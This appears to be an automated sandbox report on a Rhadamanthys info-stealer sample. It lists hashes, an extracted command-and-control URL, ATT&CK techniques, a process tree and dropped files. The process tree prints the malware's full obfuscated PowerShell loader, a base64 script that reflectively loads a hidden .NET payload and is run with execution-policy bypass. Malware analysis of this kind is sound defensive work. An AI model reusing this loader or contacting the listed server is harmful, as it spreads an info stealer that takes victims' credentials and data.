rhadamanthys | cce988ce6f528e02009122396aa4149091dbee5fbe8bcaabffaaa88ae02b127a

Analysis

max time kernel
104s
max time network
214s
platform
windows10-2004_x64
resource
win10v2004-20250313-en
resource tags

arch:x64arch:x86image:win10v2004-20250313-enlocale:en-usos:windows10-2004-x64system
submitted
18/03/2025, 08:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

cce988ce6f528e02009122396aa4149091dbee5fbe8bcaabffaaa88ae02b127a.exe
Size

521KB
MD5

068c05b9f062da142d266a374866d3bb
SHA1

315726e1015e1e69cf9645bda713f463e93a8755
SHA256

cce988ce6f528e02009122396aa4149091dbee5fbe8bcaabffaaa88ae02b127a
SHA512

25358882e596ed9299ef714e2168a70e7bceace7fafc9f61e10e2fb58b480b97f31af86ef08e553cfe69546aa8b056b09df696d5fa9e07e2784392e8bbd87156
SSDEEP

12288:xfL5njsVlNucSkkMxi+FAbPr+rr6K+u03mlw0lsp5ie:xfL5njMnOMxw26KY3t0lOAe

Score

10^/10

rhadamanthys discovery execution stealer

Malware Config

Extracted

Family

rhadamanthys

https://216.250.255.115:80/bed1f869ae125/aqbrhghr.uhmsf

Signatures

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
Rhadamanthys family
rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4752 created 2608	4752	RegAsm.exe	44

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3446877943-4095308722-756223633-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4540	powershell.exe
4012	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4012 set thread context of 4752	4012	powershell.exe	92

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2532	4752	WerFault.exe	92

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dialer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cce988ce6f528e02009122396aa4149091dbee5fbe8bcaabffaaa88ae02b127a.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4540	powershell.exe
4540	powershell.exe
4012	powershell.exe
4012	powershell.exe
4752	RegAsm.exe
4752	RegAsm.exe
2892	dialer.exe
2892	dialer.exe
2892	dialer.exe
2892	dialer.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4540	powershell.exe
Token: SeDebugPrivilege	4012	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 5684 wrote to memory of 3492	5684	cce988ce6f528e02009122396aa4149091dbee5fbe8bcaabffaaa88ae02b127a.exe	87
PID 5684 wrote to memory of 3492	5684	cce988ce6f528e02009122396aa4149091dbee5fbe8bcaabffaaa88ae02b127a.exe	87
PID 5684 wrote to memory of 3492	5684	cce988ce6f528e02009122396aa4149091dbee5fbe8bcaabffaaa88ae02b127a.exe	87
PID 3492 wrote to memory of 5756	3492	wscript.exe	88
PID 3492 wrote to memory of 5756	3492	wscript.exe	88
PID 3492 wrote to memory of 5756	3492	wscript.exe	88
PID 5756 wrote to memory of 4540	5756	cmd.exe	90
PID 5756 wrote to memory of 4540	5756	cmd.exe	90
PID 5756 wrote to memory of 4540	5756	cmd.exe	90
PID 5756 wrote to memory of 4012	5756	cmd.exe	91
PID 5756 wrote to memory of 4012	5756	cmd.exe	91
PID 5756 wrote to memory of 4012	5756	cmd.exe	91
PID 4012 wrote to memory of 4752	4012	powershell.exe	92
PID 4012 wrote to memory of 4752	4012	powershell.exe	92
PID 4012 wrote to memory of 4752	4012	powershell.exe	92
PID 4012 wrote to memory of 4752	4012	powershell.exe	92
PID 4012 wrote to memory of 4752	4012	powershell.exe	92
PID 4012 wrote to memory of 4752	4012	powershell.exe	92
PID 4012 wrote to memory of 4752	4012	powershell.exe	92
PID 4012 wrote to memory of 4752	4012	powershell.exe	92
PID 4012 wrote to memory of 4752	4012	powershell.exe	92
PID 4012 wrote to memory of 4752	4012	powershell.exe	92
PID 4752 wrote to memory of 2892	4752	RegAsm.exe	93
PID 4752 wrote to memory of 2892	4752	RegAsm.exe	93
PID 4752 wrote to memory of 2892	4752	RegAsm.exe	93
PID 4752 wrote to memory of 2892	4752	RegAsm.exe	93
PID 4752 wrote to memory of 2892	4752	RegAsm.exe	93

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2608
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:2892

C:\Users\Admin\AppData\Local\Temp\cce988ce6f528e02009122396aa4149091dbee5fbe8bcaabffaaa88ae02b127a.exe
"C:\Users\Admin\AppData\Local\Temp\cce988ce6f528e02009122396aa4149091dbee5fbe8bcaabffaaa88ae02b127a.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5684
- C:\Windows\SysWOW64\wscript.exe
  "wscript.exe" "C:\Users\Admin\start.vbs"
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3492
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\temp.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5756
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENvbnZlcnQtQXNjaWlUb1N0cmluZyAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgIlVuZExkbC5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\UndLdl.ps1' -Encoding UTF8"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4540
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\UndLdl.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4012
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4752
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4752 -s 612
        6⤵
        Program crash
        
        PID:2532

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4752 -ip 4752
1⤵
PID:4508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
4280e36a29fa31c01e4d8b2ba726a0d8

SHA1
c485c2c9ce0a99747b18d899b71dfa9a64dabe32

SHA256
e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

SHA512
494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
16KB

MD5
acdb4f90e90bba306dabf300a727d5ec

SHA1
d0bc28d660dee66443ac2f75785a591d7033e940

SHA256
3b07d7304cdc9b2eaa3dac0a491c2c15af4af55eae799434dc15a2a28a8ce460

SHA512
0ff590888380bffec0b2aedaf6e99e6cf1b5bbf5158fe00ad069cbea12750da6015c234090ed7fa1180a8f0de1ebd8946eb31ac7854f01835b26f087097e01a7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_opowu0v3.k1e.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\UndLdl.ps1

Filesize
1KB

MD5
6707df486205804693821eebad4c03f3

SHA1
fb4e723b632090036463d44e58ecedef4b688958

SHA256
cd78d5da40004dbaa8688d97063d1c9b3cee41ba72e8f9152ee38d86cf6efb50

SHA512
4b497ee77faeddae306b69a45641ab8f11ebbd9712664a614be009d6ab9632cb05f2025ae9631cb51801a4f6c2e3d48b38082b9b5fca41241ec5a0088c9e88ef

Download Submit
C:\Users\Admin\start.vbs

Filesize
231B

MD5
abe1dd23ab4c11aae54f1898c780c0b5

SHA1
bb2f974b3e0af2baa40920b475582bfd4fb28001

SHA256
89054e19532a9a62ca3403a8899495bf6f06557ff886b475a04227eb8aba7b12

SHA512
e9ec437a32301078ea69ce2f36dadab68315d5e56d94c4d579d3409ccbe0c9e00c3aed7baa0fa6d656fb8ed23213f4c01fb2d108c1a0ed11c58c76cd00f9a99d

Download Submit
C:\Users\Admin\temp.bat

Filesize
545KB

MD5
1ab2d7cc96ad2b86edf74d5497b45def

SHA1
baac72428aaff76788b6e0056b720c6920d0e6f8

SHA256
1e23a11308681733cff73f23933670c4350cec867042bbe5f7ff54a6dcc1dd83

SHA512
8b5a456b4a4c97e28b6e90735eb9a006e8afbcd3d588e04b7bd3ab24e20ef80e37cc08412cc421c0f465c148f5b1c181ea798585865bd82f9861c1a7351194a1

Download Submit
memory/2892-62-0x00007FF979E50000-0x00007FF97A045000-memory.dmp

Filesize
2.0MB

Download
memory/2892-64-0x0000000076750000-0x0000000076965000-memory.dmp

Filesize
2.1MB

Download
memory/2892-61-0x0000000002D30000-0x0000000003130000-memory.dmp

Filesize
4.0MB

Download
memory/2892-59-0x0000000001220000-0x0000000001229000-memory.dmp

Filesize
36KB

Download
memory/4012-47-0x0000000008200000-0x00000000087A4000-memory.dmp

Filesize
5.6MB

Download
memory/4012-46-0x0000000007A90000-0x0000000007AB2000-memory.dmp

Filesize
136KB

Download
memory/4012-45-0x0000000007AE0000-0x0000000007B76000-memory.dmp

Filesize
600KB

Download
memory/4012-49-0x0000000007D20000-0x0000000007DDC000-memory.dmp

Filesize
752KB

Download
memory/4012-50-0x0000000003070000-0x000000000307A000-memory.dmp

Filesize
40KB

Download
memory/4012-42-0x0000000006370000-0x00000000066C4000-memory.dmp

Filesize
3.3MB

Download
memory/4540-13-0x0000000005650000-0x00000000056B6000-memory.dmp

Filesize
408KB

Download
memory/4540-10-0x0000000074820000-0x0000000074FD0000-memory.dmp

Filesize
7.7MB

Download
memory/4540-27-0x00000000060D0000-0x00000000060EA000-memory.dmp

Filesize
104KB

Download
memory/4540-26-0x00000000074F0000-0x0000000007B6A000-memory.dmp

Filesize
6.5MB

Download
memory/4540-25-0x0000000005BD0000-0x0000000005C1C000-memory.dmp

Filesize
304KB

Download
memory/4540-24-0x0000000005B90000-0x0000000005BAE000-memory.dmp

Filesize
120KB

Download
memory/4540-23-0x00000000056D0000-0x0000000005A24000-memory.dmp

Filesize
3.3MB

Download
memory/4540-12-0x00000000055E0000-0x0000000005646000-memory.dmp

Filesize
408KB

Download
memory/4540-11-0x0000000004DF0000-0x0000000004E12000-memory.dmp

Filesize
136KB

Download
memory/4540-31-0x0000000074820000-0x0000000074FD0000-memory.dmp

Filesize
7.7MB

Download
memory/4540-6-0x000000007482E000-0x000000007482F000-memory.dmp

Filesize
4KB

Download
memory/4540-7-0x0000000004810000-0x0000000004846000-memory.dmp

Filesize
216KB

Download
memory/4540-8-0x0000000074820000-0x0000000074FD0000-memory.dmp

Filesize
7.7MB

Download
memory/4540-9-0x0000000004E80000-0x00000000054A8000-memory.dmp

Filesize
6.2MB

Download
memory/4752-56-0x00007FF979E50000-0x00007FF97A045000-memory.dmp

Filesize
2.0MB

Download
memory/4752-58-0x0000000076750000-0x0000000076965000-memory.dmp

Filesize
2.1MB

Download
memory/4752-55-0x0000000003A10000-0x0000000003E10000-memory.dmp

Filesize
4.0MB

Download
memory/4752-54-0x0000000003A10000-0x0000000003E10000-memory.dmp

Filesize
4.0MB

Download
memory/4752-53-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/4752-51-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download